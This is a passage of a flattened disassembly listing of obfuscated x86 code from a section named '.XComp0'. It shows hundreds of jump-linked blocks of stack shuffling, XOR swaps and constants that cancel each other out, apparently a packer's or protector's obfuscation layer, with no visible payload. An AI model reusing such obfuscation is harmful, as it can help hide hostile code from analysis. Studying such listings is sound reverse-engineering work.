mov edi, [esp] add esp, 4 add edx, 4 xchg edx, [esp] pop esp or edx, eax shl edx, 1 push 3DB5h mov [esp], eax jmp loc_594DB2 ; --------------------------------------------------------------------------- loc_5973EE: ; CODE XREF: .XComp0:0058A48Aj add esp, 4 and eax, edi push dword ptr [esp] pop edi sub esp, 4 jmp loc_5971A2 ; --------------------------------------------------------------------------- loc_597402: ; CODE XREF: .XComp0:00584A1Cj pop edx add edx, ecx pop ecx xchg edx, [esp] mov esp, [esp] push esi mov esi, 245D626Fh jmp loc_595B2F ; --------------------------------------------------------------------------- loc_597417: ; CODE XREF: .XComp0:00584AB2j add dword ptr [esp+4], 60212D7Eh add [esp+4], eax sub dword ptr [esp+4], 60212D7Eh add dword ptr [esp+4], 68A93C45h push eax mov eax, 766868B6h add [esp+8], eax jmp loc_58E764 ; --------------------------------------------------------------------------- loc_597442: ; CODE XREF: .XComp0:005929B3j sub esp, 4 mov [esp], ebx mov ebx, 21EA68E9h neg ebx push 2F1Bh mov [esp], ecx jmp loc_5878D4 ; --------------------------------------------------------------------------- loc_59745C: ; CODE XREF: .XComp0:00591B20j neg esi add esi, 0BC2C9735h jmp loc_5889EB ; --------------------------------------------------------------------------- loc_597469: ; CODE XREF: .XComp0:0058B1F0j add ebx, eax pop eax push edi mov edi, 15D71633h push edx mov edx, 3D1D1CA2h xor edi, edx pop edx push ebp push esi mov esi, 31DF2E5Fh mov ebp, 0D684178h add ebp, esi pop esi xor ebp, 72B95FDAh neg ebp push eax mov eax, 519938ECh xor eax, 27631922h jmp loc_5988C5 ; --------------------------------------------------------------------------- loc_5974A2: ; CODE XREF: .XComp0:00590F90j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5974A7: ; CODE XREF: .XComp0:00595695j sub esp, 4 mov [esp], esi mov esi, 7C9E1B08h inc esi jmp loc_59493F ; --------------------------------------------------------------------------- loc_5974B8: ; CODE XREF: .XComp0:00592832j mov ebp, 6B637FFEh xor ebp, ebx jmp loc_5842B8 ; --------------------------------------------------------------------------- loc_5974C4: ; CODE XREF: .XComp0:005922FDj mov al, 93h add bl, al mov eax, [esp] add esp, 4 jmp loc_58E7F4 ; --------------------------------------------------------------------------- loc_5974D3: ; CODE XREF: .XComp0:005913A7j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5974D8: ; CODE XREF: .XComp0:0058650Bj pop edi add edi, 18391B6Ah add edi, ebx sub edi, 18391B6Ah pop ebx sub esp, 4 jmp loc_591491 ; --------------------------------------------------------------------------- loc_5974F3: ; CODE XREF: .XComp0:005891ABj add al, bh jmp loc_586000 ; --------------------------------------------------------------------------- loc_5974FA: ; CODE XREF: .XComp0:00585A73j add esp, 4 push ecx not dword ptr [esp] pop ecx inc ecx or ecx, 23ED20C0h sub esp, 4 mov [esp], eax jmp loc_586BDF ; --------------------------------------------------------------------------- loc_597517: ; CODE XREF: .XComp0:0058A672j sub esi, edx pop edx add esi, 26D1347Fh jmp loc_58EC35 ; --------------------------------------------------------------------------- loc_597525: ; CODE XREF: .XComp0:005869CDj add eax, 4 xchg eax, [esp] jmp loc_58ACA9 ; --------------------------------------------------------------------------- loc_597532: ; CODE XREF: .XComp0:0058A195j xchg eax, [esp] mov esp, [esp] jmp loc_58F206 ; --------------------------------------------------------------------------- loc_59753D: ; CODE XREF: .XComp0:005849F4j push ax mov ah, 0F0h or cl, ah jmp loc_5886FA ; --------------------------------------------------------------------------- loc_597548: ; CODE XREF: .XComp0:0058FDDAj push 58BDh mov [esp], edi push 10h jmp loc_591530 ; --------------------------------------------------------------------------- loc_59755A: ; CODE XREF: .XComp0:00586226j sub esi, 4 push esi jmp loc_59638C ; --------------------------------------------------------------------------- loc_597563: ; CODE XREF: .XComp0:0058E4A0j mov ebx, [esp] add esp, 4 sub dh, 9 sub dh, bl add dh, 9 pop ebx sub esp, 2 mov [esp], cx jmp loc_58712B ; --------------------------------------------------------------------------- loc_597584: ; CODE XREF: .XComp0:005868C3j mov [esp], eax jmp loc_58DE4B ; --------------------------------------------------------------------------- loc_59758C: ; CODE XREF: .XComp0:00592B75j mov ecx, ebp pop ebp jmp loc_583FFE ; --------------------------------------------------------------------------- loc_597594: ; CODE XREF: .XComp0:00598975j mov edi, 649D5FA4h sub edx, edi pop edi add edx, 585214B0h add edx, eax jmp loc_58743F ; --------------------------------------------------------------------------- loc_5975A9: ; CODE XREF: .XComp0:0058E34Cj sub edx, edi pop edi xor edx, 54C734D5h add edx, 0B2723D6Ch mov ecx, edx pop edx sub ebp, 5B5F0B16h jmp loc_5873A3 ; --------------------------------------------------------------------------- loc_5975C6: ; CODE XREF: .XComp0:0058F62Fj mov [esp], esi jmp loc_58E8F3 ; --------------------------------------------------------------------------- loc_5975CE: ; CODE XREF: .XComp0:0058FAD4j push 2564h jmp loc_5883EC ; --------------------------------------------------------------------------- loc_5975D8: ; CODE XREF: .XComp0:00590FBEj xor [esp], eax jmp loc_5936F0 ; --------------------------------------------------------------------------- loc_5975E0: ; CODE XREF: .XComp0:0058B4CBj mov ecx, 7A3E18A3h add ecx, 1284648Bh jmp loc_586712 ; --------------------------------------------------------------------------- loc_5975F0: ; CODE XREF: .XComp0:00591302j shr edi, 7 neg edi dec edi sub edi, 2B1604Dh shr edi, 2 jmp loc_591F20 ; --------------------------------------------------------------------------- loc_597604: ; CODE XREF: .XComp0:005873F9j push dword ptr [esp] mov esi, [esp] add esp, 4 push 36C2h mov [esp], ebp push esp pop ebp push edx mov edx, 4 add ebp, edx jmp loc_597977 ; --------------------------------------------------------------------------- loc_597627: ; CODE XREF: .XComp0:0058EF94j xchg edi, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 5533h mov [esp], esi jmp loc_58EDFB ; --------------------------------------------------------------------------- loc_597643: ; CODE XREF: .XComp0:00590F72j push ecx jmp loc_58441E ; --------------------------------------------------------------------------- loc_597649: ; CODE XREF: .XComp0:00585430j not edi not edi xor edi, 5DFA21B9h jmp loc_588689 ; --------------------------------------------------------------------------- loc_597658: ; CODE XREF: .XComp0:005948D7j push esi jmp loc_583D46 ; --------------------------------------------------------------------------- loc_59765E: ; CODE XREF: .XComp0:00584E7Cj pop ebx push ebp jmp loc_596D7A ; --------------------------------------------------------------------------- loc_597665: ; CODE XREF: .XComp0:00598F62j pop edx or eax, eax jz loc_588E81 push dword ptr [edi+1Ch] push esi mov esi, 2DB74A58h xor [esp+4], esi pop esi pop ecx jmp loc_597724 ; --------------------------------------------------------------------------- loc_597682: ; CODE XREF: .XComp0:0058FDCFj inc ebp jmp loc_58D5F2 ; --------------------------------------------------------------------------- loc_597688: ; CODE XREF: .XComp0:0058738Dj shl esi, 5 shr esi, 5 or esi, 269A6A64h add esi, 3461BC44h xor eax, esi pop esi add edi, eax push dword ptr [esp] pop eax add esp, 4 add edi, 2 push edi jmp loc_585BD7 ; --------------------------------------------------------------------------- loc_5976AF: ; CODE XREF: .XComp0:00586365j push edx mov edx, esp push ebx mov ebx, 5BAC180Dh shl ebx, 1 neg ebx dec ebx add ebx, 0B758301Fh add edx, ebx pop ebx push ecx mov ecx, 4 sub edx, ecx pop ecx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_587B3A ; --------------------------------------------------------------------------- loc_5976DE: ; CODE XREF: .XComp0:00590FF6j or esi, ebx jmp loc_584F5B ; --------------------------------------------------------------------------- loc_5976E5: ; CODE XREF: .XComp0:005850D6j add esi, 4 push eax jmp loc_58FE25 ; --------------------------------------------------------------------------- loc_5976F1: ; CODE XREF: .XComp0:0058C4BCj pop edi sub ebp, 0F15D02h add ebp, edx add ebp, 0F15D02h pop edx push ebx push esp pop ebx add ebx, 4 jmp loc_58D819 ; --------------------------------------------------------------------------- loc_59770F: ; CODE XREF: .XComp0:00589279j xor eax, 0C6E9C029h jmp loc_58C132 ; --------------------------------------------------------------------------- loc_597719: ; CODE XREF: .XComp0:0058BF96j sub edi, 2E8619C2h jmp loc_594EC3 ; --------------------------------------------------------------------------- loc_597724: ; CODE XREF: .XComp0:0059767Dj push 5E3Eh mov [esp], eax push ebp mov ebp, 49E945CBh mov eax, 2EB950F4h xor eax, ebp pop ebp jmp loc_59042B ; --------------------------------------------------------------------------- loc_59773F: ; CODE XREF: .XComp0:0058683Ej xor ebp, [esp] pop esp jmp loc_5967D0 ; --------------------------------------------------------------------------- loc_597748: ; CODE XREF: .XComp0:00586407j mov [esp], ebp push 5942004Dh pop ebp neg ebp xor ebp, 45C6ECB0h jmp loc_598C10 ; --------------------------------------------------------------------------- loc_59775E: ; CODE XREF: .XComp0:00590DFDj push ebp mov ebp, 4 add edx, ebp pop ebp xor edx, [esp] xor [esp], edx jmp loc_591030 ; --------------------------------------------------------------------------- loc_597772: ; CODE XREF: .XComp0:005977F0j mov edx, 14D643F0h push ebx mov ebx, 5F806AC8h xor ebx, 0E8F5AFAh add edi, ebx pop ebx jmp loc_589153 ; --------------------------------------------------------------------------- loc_59778B: ; CODE XREF: .XComp0:0058B227j mov cl, 30h push ebx mov bh, 0CBh jmp loc_5882C2 ; --------------------------------------------------------------------------- loc_597795: ; CODE XREF: .XComp0:005920E5j add esi, 1 add esi, 0C6CF8440h jmp loc_593B11 ; --------------------------------------------------------------------------- loc_5977A6: ; CODE XREF: .XComp0:005893E4j add ebp, 4 jmp loc_594F7E ; --------------------------------------------------------------------------- loc_5977AE: ; CODE XREF: .XComp0:005929C7j push 4E0Dh mov [esp], ebp jmp loc_594CFA ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_59111E ; --------------------------------------------------------------------------- loc_5977D3: ; CODE XREF: .XComp0:00592CBCj xchg eax, [esp] pop esp ror byte ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5977E0: ; CODE XREF: .XComp0:00595390j mov [esp], eax push eax mov eax, 14D643F0h add [esp+4], eax pop eax pop edi push edx jmp loc_597772 ; --------------------------------------------------------------------------- loc_5977F5: ; CODE XREF: .XComp0:00597FB9j add ebp, 72D28A39h and edx, ebp jmp loc_585C58 ; --------------------------------------------------------------------------- loc_597802: ; CODE XREF: .XComp0:0058E1A9j pop esp mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp push ecx push 439Dh sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_586A40 ; --------------------------------------------------------------------------- loc_597829: ; CODE XREF: .XComp0:0059685Fj xchg ebx, [esp] pop esp xor eax, 16B55B78h jmp loc_58EC96 ; --------------------------------------------------------------------------- loc_597837: ; CODE XREF: .XComp0:005930E0j shl ebp, 8 sub esp, 4 mov [esp], ecx mov ecx, 50903747h jmp loc_587818 ; --------------------------------------------------------------------------- loc_59784D: ; CODE XREF: .XComp0:00584A25j push eax push ebx mov ebx, 4 mov eax, ebx pop ebx sub edi, eax jmp loc_58F76F ; --------------------------------------------------------------------------- loc_59785E: ; CODE XREF: .XComp0:0058FAC1j push 2746h mov [esp], ebx jmp loc_587EF1 ; --------------------------------------------------------------------------- loc_59786B: ; CODE XREF: .XComp0:00591018j xor ecx, [esp] jmp loc_596E5E ; --------------------------------------------------------------------------- loc_597873: ; CODE XREF: .XComp0:00589511j pop edi inc ecx push edx push edi mov edi, 69667953h push edi add dword ptr [esp], 37862F05h pop edx jmp loc_5914EB ; --------------------------------------------------------------------------- loc_59788A: ; CODE XREF: .XComp0:0058710Bj mov edx, esp jmp loc_58644E ; --------------------------------------------------------------------------- loc_597891: ; CODE XREF: .XComp0:0059739Dj xchg ecx, [esp] mov esp, [esp] sub edi, 50FF5F85h jmp loc_58A7D1 ; --------------------------------------------------------------------------- loc_5978A2: ; CODE XREF: .XComp0:0058A36Ej inc ebx jmp loc_598B7C ; --------------------------------------------------------------------------- loc_5978A8: ; CODE XREF: .XComp0:00590A80j sub esp, 4 mov [esp], ecx jmp loc_58D2D5 ; --------------------------------------------------------------------------- loc_5978B3: ; CODE XREF: .XComp0:00589700j mov [esp], esi dec dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 xor esi, 5EFB6CF7h and eax, esi mov esi, [esp] add esp, 4 shr eax, 0Ch jmp loc_58B88C ; --------------------------------------------------------------------------- loc_5978D9: ; CODE XREF: .XComp0:00587A8Bj pop esp add edi, 4 xchg edi, [esp] mov esp, [esp] xchg edx, [esp] jmp loc_590F77 ; --------------------------------------------------------------------------- loc_5978EE: ; CODE XREF: .XComp0:005916F3j push esp jmp loc_590205 ; --------------------------------------------------------------------------- loc_5978F4: ; CODE XREF: .XComp0:005923C4j xor ebx, [esp] jmp loc_59403D ; --------------------------------------------------------------------------- loc_5978FC: ; CODE XREF: .XComp0:005925FFj pop ebp jmp loc_585749 ; --------------------------------------------------------------------------- loc_597902: ; CODE XREF: .XComp0:00587495j add edi, esi mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_58AF23 ; --------------------------------------------------------------------------- loc_597918: ; CODE XREF: .XComp0:0059415Fj dec esi xor esi, 785F6673h shl esi, 7 sub esi, 0E5C5A5FCh sub edi, 4F3B24F7h add edi, esi add edi, 4F3B24F7h pop esi jmp loc_597082 ; --------------------------------------------------------------------------- loc_59793C: ; CODE XREF: .XComp0:0058D058j add esp, 4 push small 7839h mov [esp], dx push ebx push edx mov dh, 3Dh mov bl, 53h add bl, dh pop edx mov dh, bl mov ebx, [esp] push eax push esp pop eax add eax, 4 sub esp, 4 jmp loc_58D8C4 ; --------------------------------------------------------------------------- loc_59796B: ; CODE XREF: .XComp0:005913ECj add dword ptr [esp], 1EB002FBh jmp loc_5917F8 ; --------------------------------------------------------------------------- loc_597977: ; CODE XREF: .XComp0:00597622j pop edx add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_58FCA6 ; --------------------------------------------------------------------------- loc_597989: ; CODE XREF: .XComp0:00590554j pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_58D415 ; --------------------------------------------------------------------------- loc_597995: ; CODE XREF: .XComp0:005981ADj add dword ptr [esp+4], 574A0D53h add [esp+4], edx sub dword ptr [esp+4], 574A0D53h mov edx, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop edx sub esp, 4 mov [esp], edx mov edx, esp push ebx mov ebx, 620C7A27h shl ebx, 7 xor ebx, 384C37B1h add ebx, 0C18EDBD3h jmp loc_597037 ; --------------------------------------------------------------------------- loc_5979DE: ; CODE XREF: .XComp0:0058C945j push 37FFh jmp loc_58E605 ; --------------------------------------------------------------------------- loc_5979E8: ; CODE XREF: .XComp0:0058C356j inc ecx xor ecx, 1ACF8674h push 6ACEh jmp loc_586433 ; --------------------------------------------------------------------------- loc_5979F9: ; CODE XREF: .XComp0:0058B682j mov edi, 5276B55h mov ebx, edi pop edi jmp loc_590E50 ; --------------------------------------------------------------------------- loc_597A06: ; CODE XREF: .XComp0:00588185j sub esp, 4 jmp loc_586E9F ; --------------------------------------------------------------------------- loc_597A0E: ; CODE XREF: .XComp0:00584B11j mov edx, 5A033E30h jmp loc_58F436 ; --------------------------------------------------------------------------- loc_597A18: ; CODE XREF: .XComp0:005882C4j mov ch, bh inc ch mov bh, ch jmp loc_584F9F ; --------------------------------------------------------------------------- loc_597A23: ; CODE XREF: .XComp0:005915ECj push 752Ch mov [esp], edx push esp mov edx, [esp] push edx jmp loc_58A8ED ; --------------------------------------------------------------------------- loc_597A35: ; CODE XREF: .XComp0:0058532Bj add ebp, 45604D5Eh jmp loc_591060 ; --------------------------------------------------------------------------- loc_597A40: ; CODE XREF: .XComp0:00595B88j add edx, 17DB219Bh push eax mov eax, 0E0EB1367h add edx, eax jmp loc_586198 ; --------------------------------------------------------------------------- loc_597A53: ; CODE XREF: .XComp0:00587AC5j pop eax mov esi, eax pop eax jmp loc_5843E8 ; --------------------------------------------------------------------------- loc_597A5C: ; CODE XREF: .XComp0:00598804j add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_58DC94 ; --------------------------------------------------------------------------- loc_597A6D: ; CODE XREF: .XComp0:0058B50Aj shl dl, 3 sub dl, 8 add dl, 67h add al, dl pop edx mov cx, [esp] push edi push edi jmp loc_58AB41 ; --------------------------------------------------------------------------- loc_597A84: ; CODE XREF: .XComp0:00592AE1j push ebp mov ebp, 0E4E36BABh push eax mov eax, ebp mov ebx, eax jmp loc_58AF79 ; --------------------------------------------------------------------------- loc_597A94: ; CODE XREF: .XComp0:0059832Bj pop ebx push eax push ebp pop eax pop ebp pop ebp push 3AA0h jmp loc_5908DC ; --------------------------------------------------------------------------- loc_597AA4: ; CODE XREF: .XComp0:00587EC9j add eax, 1FBC4103h sub eax, ebp sub eax, 1FBC4103h pop ebp pop edx xor ebx, eax sub esp, 4 mov [esp], ecx jmp loc_58D476 ; --------------------------------------------------------------------------- loc_597ABF: ; CODE XREF: .XComp0:00598437j sub ebp, 252E4332h jmp loc_58C592 ; --------------------------------------------------------------------------- loc_597ACA: ; CODE XREF: .XComp0:00592B53j pop eax push 14AAh jmp loc_589BEE ; --------------------------------------------------------------------------- loc_597AD5: ; CODE XREF: .XComp0:00595B90j push esi mov esi, 4 mov ebx, esi pop esi add ecx, ebx mov ebx, [esp] jmp loc_58F164 ; --------------------------------------------------------------------------- loc_597AE8: ; CODE XREF: .XComp0:0058B09Bj mov [esp], ecx mov ecx, 46405A90h jmp loc_5870F4 ; --------------------------------------------------------------------------- loc_597AF5: ; CODE XREF: .XComp0:005850C0j mov [esp], ecx push edx mov edx, 2E0C0CD2h sub edx, 31C00ECFh sub edx, 0FFFFFFFFh and edx, 633A6CC9h push ebx jmp loc_5861F1 ; --------------------------------------------------------------------------- loc_597B13: ; CODE XREF: .XComp0:00591F5Cj pop edx add ebx, 2 xchg ebx, [esp] jmp loc_5924E1 ; --------------------------------------------------------------------------- loc_597B22: ; CODE XREF: .XComp0:00593873j mov [esp], ebx mov bh, 67h jmp loc_5945AF ; --------------------------------------------------------------------------- loc_597B2C: ; CODE XREF: .XComp0:00591754j add al, 8Dh sub al, 3 push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 add ecx, 2DE04821h add ecx, ebx jmp loc_58A2EB ; --------------------------------------------------------------------------- loc_597B50: ; CODE XREF: .XComp0:00592E5Bj add ebx, ebp jmp loc_595A05 ; --------------------------------------------------------------------------- loc_597B57: ; CODE XREF: .XComp0:00586E76j push ebp mov ebp, 4 sub ecx, 67936D91h add ecx, ebp add ecx, 67936D91h mov ebp, [esp] add esp, 4 jmp loc_589163 ; --------------------------------------------------------------------------- loc_597B76: ; CODE XREF: .XComp0:0058F63Cj not ebp jmp loc_594DCE ; --------------------------------------------------------------------------- loc_597B7D: ; CODE XREF: .XComp0:00586705j mov edi, edx mov ecx, edi mov edi, [esp] add esp, 4 pop edx neg ecx add ecx, 8BE963F6h and ebx, ecx pop ecx dec ebx push ebx push edi jmp loc_58959A ; --------------------------------------------------------------------------- loc_597B9E: ; CODE XREF: .XComp0:0059105Bj push ecx mov ecx, 495B5C66h inc ecx sub ecx, 21D36194h sub ecx, 1 xor ecx, 487CFF06h and ebp, ecx pop ecx push ebx mov ebx, 4BF15197h or ebx, 20CC6BECh or ebx, 37784AD4h not ebx or ebx, 1D1937F8h xor ebx, 96D3B3ACh jmp loc_587F11 ; --------------------------------------------------------------------------- loc_597BDC: ; CODE XREF: .XComp0:00592D73j dec cl push ebx mov bl, 0DDh sub cl, bl pop ebx push edx jmp loc_5843A8 ; --------------------------------------------------------------------------- loc_597BEA: ; CODE XREF: .XComp0:00594EB6j and edi, eax pop eax jmp loc_58BBDA ; --------------------------------------------------------------------------- loc_597BF2: ; CODE XREF: .XComp0:00598B1Bj push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] pop ebp push esi mov esi, esp jmp loc_58EAA7 ; --------------------------------------------------------------------------- loc_597C05: ; CODE XREF: .XComp0:00598C72j mov dl, 2 neg dl shr dl, 2 xor dl, 3Dh add dl, 67h inc dl add dl, 1Bh sub cl, dl jmp loc_58A4B5 ; --------------------------------------------------------------------------- loc_597C1E: ; CODE XREF: .XComp0:005898CEj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_58BA01 ; --------------------------------------------------------------------------- loc_597C2F: ; CODE XREF: .XComp0:0058555Ej add ecx, 4 xchg ecx, [esp] pop esp mov [edi+eax*4+1], bl mov ebx, [esp] add esp, 4 mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push dword ptr [esp] jmp loc_58C7B4 ; --------------------------------------------------------------------------- loc_597C67: ; CODE XREF: .XComp0:0058DC05j pop dword ptr [esp] mov esp, [esp] jmp loc_58B21D ; --------------------------------------------------------------------------- loc_597C72: ; CODE XREF: .XComp0:00592728j add ebx, 6C101ED8h sub ebx, 18766353h jmp loc_58FA4C ; --------------------------------------------------------------------------- loc_597C83: ; CODE XREF: .XComp0:00594E73j not dword ptr [esp] push dword ptr [esp] pop eax jmp loc_594EE8 ; --------------------------------------------------------------------------- loc_597C8F: ; CODE XREF: .XComp0:0058A8A3j mov ebp, esp push esi mov esi, 4 jmp loc_58AFAB ; --------------------------------------------------------------------------- loc_597C9C: ; CODE XREF: .XComp0:0058CAADj sub esp, 4 jmp loc_58C414 ; --------------------------------------------------------------------------- loc_597CA7: ; CODE XREF: .XComp0:0058B171j push edx jmp loc_595AAB ; --------------------------------------------------------------------------- loc_597CAD: ; CODE XREF: .XComp0:00591087j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_597CB2: ; CODE XREF: .XComp0:0058CF0Aj add edi, 49DB29DCh mov ebx, [esp] add esp, 4 jmp loc_58EEDF ; --------------------------------------------------------------------------- loc_597CC6: ; CODE XREF: .XComp0:0059728Cj add al, 34h add al, 0D8h jmp loc_584976 ; --------------------------------------------------------------------------- loc_597CCF: ; CODE XREF: .XComp0:00593DDBj pop eax jmp loc_5938D2 ; --------------------------------------------------------------------------- loc_597CD5: ; CODE XREF: .XComp0:00593D60j mov ebp, [esp] jmp loc_592284 ; --------------------------------------------------------------------------- loc_597CDD: ; CODE XREF: .XComp0:00590BD8j shl edx, 3 inc edx sub edx, 5C79C1B7h add ebx, edx pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push edi push 6FD6h mov [esp], esp add dword ptr [esp], 4 jmp loc_58BE5E ; --------------------------------------------------------------------------- push eax push 6D97h mov [esp], ebp mov ebp, 0FEh mov eax, ebp jmp loc_58E10C ; --------------------------------------------------------------------------- loc_597D24: ; CODE XREF: .XComp0:00583D2Fj xor [esp+4], ebp jmp loc_585D86 ; --------------------------------------------------------------------------- loc_597D2D: ; CODE XREF: .XComp0:00594B7Aj shl ebp, 6 push ebp jmp loc_592E1A ; --------------------------------------------------------------------------- loc_597D36: ; CODE XREF: .XComp0:00596B29j mov ecx, [esp] add esp, 4 push eax mov eax, 43EE7D18h not eax dec eax inc eax jmp loc_59437C ; --------------------------------------------------------------------------- loc_597D4B: ; CODE XREF: .XComp0:00595235j mov eax, [esp] jmp loc_585C4A ; --------------------------------------------------------------------------- loc_597D53: ; CODE XREF: .XComp0:00589022j xor [esp], edi xor edi, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 21BB08C6h sub edi, 38022E47h add edi, 24304A0Ch add edi, edx push esi jmp loc_595669 ; --------------------------------------------------------------------------- loc_597D7C: ; CODE XREF: .XComp0:005932D7j pop edx push ebx mov ebx, 0A2B3662h sub edi, ebx pop ebx add edi, eax add edi, 0A2B3662h push dword ptr [esp] pop eax add esp, 4 push eax mov eax, 4 add edi, eax pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_593AEE ; --------------------------------------------------------------------------- loc_597DAD: ; CODE XREF: .XComp0:0058C245j pop esp add ebx, 7BE72157h sub ebx, 417B3914h add ebx, ecx add ebx, 417B3914h sub ebx, 7BE72157h mov ecx, [esp] add esp, 4 add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_5866E4 ; --------------------------------------------------------------------------- loc_597DEA: ; CODE XREF: .XComp0:00585F72j mov ecx, 40h add ecx, edi mov [ecx], ebp pop ecx mov ebp, [esp] push edi push esp jmp loc_597339 ; --------------------------------------------------------------------------- loc_597DFE: ; CODE XREF: .XComp0:00592540j and bl, 15h jmp loc_58F414 ; --------------------------------------------------------------------------- loc_597E06: ; CODE XREF: .XComp0:0058C6DFj mov ebp, [esp] jmp loc_584653 ; --------------------------------------------------------------------------- loc_597E0E: ; CODE XREF: .XComp0:00591588j push 0EE0h mov [esp], edx mov edx, 0 sub edx, 490E1590h jmp loc_58AA0A ; --------------------------------------------------------------------------- loc_597E26: ; CODE XREF: .XComp0:00588526j pop esi jmp loc_58DAA7 ; --------------------------------------------------------------------------- loc_597E2C: ; CODE XREF: .XComp0:005969F8j pop esp sub esp, 4 mov [esp], ebx mov ebx, 4A416355h sub ebx, 117A7D1Fh jmp loc_586142 ; --------------------------------------------------------------------------- loc_597E46: ; CODE XREF: .XComp0:00594C2Bj add ebx, ebp pop ebp jmp loc_591094 ; --------------------------------------------------------------------------- loc_597E4E: ; CODE XREF: .XComp0:005884E6j sub esp, 4 jmp loc_58BFB6 ; --------------------------------------------------------------------------- loc_597E59: ; CODE XREF: .XComp0:00593F76j or ecx, 3EDF6905h xor ecx, 4CD56CE9h mov esi, ecx pop ecx add [esp+8], esi pop esi sub [esp+4], ebx sub dword ptr [esp+4], 330A11D6h push dword ptr [esp] pop ebx sub esp, 4 jmp loc_589E55 ; --------------------------------------------------------------------------- loc_597E85: ; CODE XREF: .XComp0:0058EF75j not ecx push ebp mov ebp, 15071857h sub ebp, 0DD8DD6B3h jmp loc_590318 ; --------------------------------------------------------------------------- loc_597E98: ; CODE XREF: .XComp0:0058C069j add esi, 0FFFFFFFFh and esi, 0C276AB7h push edi push ebp jmp loc_5904D1 ; --------------------------------------------------------------------------- loc_597EAB: ; CODE XREF: .XComp0:0059092Bj sub edx, 20902FFBh add ecx, edx pop edx push eax mov eax, 2 add ecx, eax jmp loc_58B024 ; --------------------------------------------------------------------------- loc_597EC1: ; CODE XREF: .XComp0:0058CA38j add esi, 542EFFAFh jmp loc_591EEA ; --------------------------------------------------------------------------- loc_597ECC: ; CODE XREF: .XComp0:0058F6A1j sub edx, 6FB523E2h jmp loc_591C91 ; --------------------------------------------------------------------------- loc_597ED7: ; CODE XREF: .XComp0:0058BFE0j mov esi, 42A66423h xor esi, 25824841h jmp loc_58EE8F ; --------------------------------------------------------------------------- loc_597EE7: ; CODE XREF: .XComp0:005859EBj pop ebx push ebx jmp loc_58BF52 ; --------------------------------------------------------------------------- loc_597EEE: ; CODE XREF: .XComp0:0058F7BFj or edi, ebx pop ebx jmp loc_585121 ; --------------------------------------------------------------------------- loc_597EF6: ; CODE XREF: .XComp0:0058E0D1j mov eax, 730238A8h add eax, 535356A7h or eax, 0A8D5864h sub eax, 62B9B3B4h shl eax, 5 jmp loc_5986CA ; --------------------------------------------------------------------------- loc_597F12: ; CODE XREF: .XComp0:0058D011j mov [esp], ecx mov cl, dh mov bh, cl mov ecx, [esp] jmp loc_584BEA ; --------------------------------------------------------------------------- loc_597F21: ; CODE XREF: .XComp0:00586B3Fj add esi, eax pop eax add ebp, esi pop esi jmp loc_597256 ; --------------------------------------------------------------------------- loc_597F2C: ; CODE XREF: .XComp0:0058C0D0j add esi, 76A7E2Dh xor esi, 622AFF28h sub edi, esi pop esi mov edx, edi jmp loc_596D26 ; --------------------------------------------------------------------------- loc_597F42: ; CODE XREF: .XComp0:0058DD90j pop dword ptr [esp] mov esp, [esp] mov [esp], edi jmp loc_5896C7 ; --------------------------------------------------------------------------- loc_597F50: ; CODE XREF: .XComp0:00592EF3j pop ebp push edx mov edx, 0BE25EA4Ch add edi, 31F87A9Eh add edi, edx jmp loc_58B140 ; --------------------------------------------------------------------------- loc_597F64: ; CODE XREF: .XComp0:00593B5Dj mov ebp, 172A5EEAh shl ebp, 1 jmp loc_58F2A0 ; --------------------------------------------------------------------------- loc_597F70: ; CODE XREF: .XComp0:005944FFj pop eax add esp, 4 sub eax, 362F6CBBh add eax, esi add eax, 362F6CBBh pop esi push 7479h mov [esp], edx mov edx, 4AAC61E3h not edx push 7DA4h mov [esp], ecx jmp loc_5942C0 ; --------------------------------------------------------------------------- loc_597FA0: ; CODE XREF: .XComp0:0058AC68j dec eax push esi push 7E5D3945h jmp loc_598D29 ; --------------------------------------------------------------------------- loc_597FAC: ; CODE XREF: .XComp0:0058C77Ej mov cl, 6Fh sub cl, al pop eax jmp loc_58D85A ; --------------------------------------------------------------------------- loc_597FB6: ; CODE XREF: .XComp0:0058E4D7j shr ebp, 8 jmp loc_5977F5 ; --------------------------------------------------------------------------- loc_597FBE: ; CODE XREF: .XComp0:00589C82j xor ecx, 10410EC8h jmp loc_58B188 ; --------------------------------------------------------------------------- loc_597FC9: ; CODE XREF: .XComp0:00590ABAj sub esi, ecx pop ecx add eax, esi pop esi xchg eax, [esp] pop esp xor al, dh mov dx, [esp] push ecx jmp loc_598174 ; --------------------------------------------------------------------------- loc_597FDF: ; CODE XREF: .XComp0:00598BC5j mov edx, 47616638h neg edx jmp loc_585A95 ; --------------------------------------------------------------------------- loc_597FEB: ; CODE XREF: .XComp0:0058D226j push ebp mov ebp, 0D24EA087h add edi, ebp pop ebp add ebp, edi pop edi push ecx mov ecx, esp jmp loc_5907F8 ; --------------------------------------------------------------------------- loc_597FFF: ; CODE XREF: .XComp0:005945E8j push ebx mov ebx, 400h mov edi, ebx jmp loc_583C01 ; --------------------------------------------------------------------------- loc_59800C: ; CODE XREF: .XComp0:0058CEB3j mov eax, [esp] add esp, 